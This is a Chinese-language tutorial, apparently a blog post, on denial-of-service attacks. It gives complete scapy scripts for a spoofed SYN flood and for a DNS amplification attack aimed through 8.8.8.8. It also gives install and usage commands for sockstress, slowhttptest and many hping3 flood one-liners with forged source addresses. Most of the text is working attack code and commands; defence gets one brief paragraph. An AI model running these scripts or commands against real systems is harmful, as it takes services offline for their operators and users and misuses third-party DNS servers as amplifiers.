拒绝服务攻击
一、SYN FLOOD攻击(消耗连接数)
1、介绍
SYN Flood (SYN洪水) 是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。
2、py脚本代码
import socket, random, sys, threading from scapy.all import * from time import sleep if len(sys.argv) != 3: print "Usage: %s <Target IP> <Port>" % sys.argv[0] sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) total = 0 conf.iface='en1';#network card XD class sendSYN(threading.Thread): global target, port def __init__(self): threading.Thread.__init__(self) def run(self): i = IP() i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) i.dst = target t = TCP() t.sport = random.randint(1,65535) t.dport = port t.flags = 'S' send(i/t, verbose=0) print "Flooding %s:%i with SYN packets." % (target, port) while 1: sendSYN().start() total += 1 sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)
3、使用
root@kali:/zd# python syn_flood.py 10.0.0.138 80
二、Sockstress(消耗资源,cpu、内存等)
1、介绍
SockStress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的。
2、原理
1.首先,攻击者大量请求建立三次握手连接
2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源
3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行,想要恢复server唯一的办法就是断网
3、SOCKSTRESS安装
git clone https://github.com/defuse/sockstress.git cd sockstress/ #编译 gcc -Wall -c sockstress.c gcc -pthread -o sockstress sockstress.o
4、使用sockstress
#配置防火墙规则,对攻击端返回的数据包丢弃
# iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 被攻击端IP -j DROP
root@kali:/zd/sockstress# iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 10.0.0.138 -j DROP root@kali:/zd/sockstress# ./sockstress 10.0.0.138:22 eth0 #对目标22端口攻击 SOCKSTRESS - CVE-2008-4609 | havoc@defuse.ca [+] Sending packets from eth0 (10.0.0.132) [+] Attacking: 10.0.0.138:22... [+] SENT: syn: 731 ack: 1177 RECV: synack: 719 ack: 458 rst: 0
5、Sockstress防护方法
对于SOCKSTRESS这种攻击方式我们可以设置防火墙规则,限制server在一定时间内与同一个IP建立TCP连接的数量,这样即使有大量的连接发过来也不会对server有太大的影响,但是这仅限于DoS,如果是DDoS的话那么就只有升级server的性能了。
三、DNS放大攻击
1、介绍
通过向一系列无辜的第三方DNS服务器发送大量的查询请求(小的和欺骗性的询问信息),这些查询请求数据包中的源IP地址为被攻击主机的IP地址,DNS服务器将大量的查询结果发送给被攻击主机,使被攻击主机所在的网络拥塞或拒绝服务。
流量放大:约3~8倍
2、python脚本代码
#coding:utf-8 from scapy import * from scapy.all import * import sys import threading if len(sys.argv) != 3: print "Usage: %s <攻击IP> <dnsIP> " % sys.argv[0] sys.exit(1) srcip = sys.argv[1] #攻击的ip dstip = sys.argv[2] #dns的ip class SendDNS(threading.Thread): global srcip,dstip def __init__(self): threading.Thread.__init__(self) def run(self): i = IP(dst=dstip,src=srcip) #srcip为伪造的源ip u = UDP(dport=53) d = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) d.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1) p = i/u/d send(p,verbose=0) if __name__ == "__main__": print "开始发起dns放大攻击,攻击IP:%s"%srcip total = 0 while 1: SendDNS().start() total += 1 sys.stdout.write("\r number:\t\t\t%i"%total)
3、使用例子
#用tcpdump抓包 root@kali:~# tcpdump udp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes #运行攻击脚本 root@kali:/zd/dns# python dns.py 10.0.0.132 8.8.8.8 开始发起dns放大攻击,攻击IP:10.0.0.132 number: 143 #查看tcpdump的终端界面
四、slowhttptest(连接数)
1、介绍
slowhttptest 是一个依赖于实际 HTTP 协议的 Slow HTTP DoS 攻击工具,它的设计原理是要求服务器所有请求被完全接收后再进行处理。
slowhttptest 是一个可配置的应用层拒绝服务攻击测试攻击,它可以工作在 Linux,OSX 和 Cygwin 环境以及 Windows 命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。
这个工具可以模拟低带宽耗费下的 DoS 攻击,比如慢速攻击,慢速 HTTP POST,通过并发连接池进行的慢速读攻击(基于TCP持久时间)等。慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。
攻击特点:
低宽带应用层dos攻击
耗尽对方的并发连接数,类似http的syn flood攻击
HTTP协议默认在服务器全部接受请求之后才开始处理,若客户端发送缓慢或不完整,服务器始终为其保留连接资源池的占用。此类大量并发将导致dos
2、安装
git clone https://github.com/shekyan/slowhttptest.git cd slowhttptest-master ./configure --prefix=/usr/local/slowhttptest make && make install ln -s /usr/local/slowhttptest/bin/slowhttptest /usr/local/bin/slowhttptest
3、常用参数
—a 开始开始值范围说明符用于范围头测试 -b 将字节限制的范围说明符用于范围头测试 -c 连接数限制为65539 -d proxy host:port 用于指导所有流量通过web代理 -e proxy host:port 端口用于指导只有探针交通通过web代理 -h,B,R或x 指定减缓在头部分或在消息体,-R 允许范围检验,使慢读测试-x -g 生成统计数据在CSV和HTML格式,模式是缓慢的xxx。csv / html,其中xxx是时间和日期 -i seconds 秒间隔跟踪数据在几秒钟内,每个连接 -k 管道因子次数重复请求在同一连接慢读测试如果服务器支持HTTP管道内衬。 -l 在几秒钟内,持续测试时间 -n 秒间隔从接收缓冲区读取操作 -o 文件定义输出文件路径和/或名称,如果指定有效-g -p 秒超时等待HTTP响应在探头连接后,服务器被认为是不可访问的 -r seconds 连接速度 -s 字节值的内容长度标题详细说明,如果指定-b -t verb 自定义 -u URL 目标URL,相同的格式键入浏览器,e.g: https://host[:port]/ -v level 冗长等级0 -4的日志 -w 字节范围广告的窗口大小会选择从 -x 字节最大长度的跟踪数据结束 -y 字节范围广告的窗口大小会选择从 -z 字节从接收缓冲区读取字节与单一的 read() 操作
4、使用
#HTTP Post请求 #HTTP头content-lenght申明长度,但body部分缓慢发送 slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.0.0.138 -x 10 -p 3 #slowloris请求 #Slowloris:完整的http请求借我是\r\n\r\n #支持代理 slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://10.0.0.138 -x 24 -p 3 #使用代理 slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u http://10.0.0.138 -p 5 -l 350 -e 代理IP:端口
五、hping3(综合flood攻击)
1、介绍
hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
2、常用参数
#全局选项 -I 指定所使用的网卡接口 -c 指定发包个数 --fast 指定发包速率,每秒10个 --faster 指定发包速率,每秒100个 --flood 指定发包速率,尽可能按最快速度发,不用回应 -E 从指定的文件中读取数据 -e 增加签名,相当于连接'密码' -B 启用安全协议 -T 启用路由跟踪模式 -d 指定data数据大小,默认为0 -V 显示发包的详细过程 #指定发包模式 [默认走的tcp模式] -0 原始ip模式,即RAWSOCKET -1 icmp模式 -2 udp模式 -8 扫描模式 -9 被动监听模式,可用于正向shell连接 #ip配置选项: -a 伪造源ip --rand-dest 使用随机目的地址 --rand-source 使用随机源地址 -t 指定ttl值,默认为64 -f 使用分片发送 #icmp配置选项 -C 指定icmp类型 #udp/tcp配置选项 -s 使用指定的源端口,默认是随机的 -p 指定目的端口 -w 指定数据包大小,默认为64 -F 使用FIN标志 -S 使用SYN标志 -R 使用RST标志 -A 使用ACK标志 -U 使用RUG标志 -P 使用PUSH标志
3、使用(被攻击的ip为10.0.0.138)
#伪造各种源信息对目标进行探测(伪造成8.8.8.8) hping3 -1 --fast -t 128 -a 8.8.8.8 10.0.0.138 -c 100 #指定目标tcp端口范围进行扫描 hping3 -8 70-5500 -S 10.0.0.138 -a 8.8.8.8 #syn flood攻击 hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.0.0.138 hping3 -S -P -U -p 80 --flood --rand-source 10.0.0.138 #tcp flood攻击 hping3 -p 80 --flood 10.0.0.138 --rand-source hping3 -SARFUP -p 80 --flood --rand-source 10.0.0.138 #ICMP Flood攻击 hping3 -1 --flood 10.0.0.138 --rand-source #syn ack flood攻击 hping3 -p 80 -S -A --flood 10.0.0.138 --rand-source #udp flood攻击 hping3 -2 --flood 10.0.0.138 --rand-source

浙公网安备 33010602011771号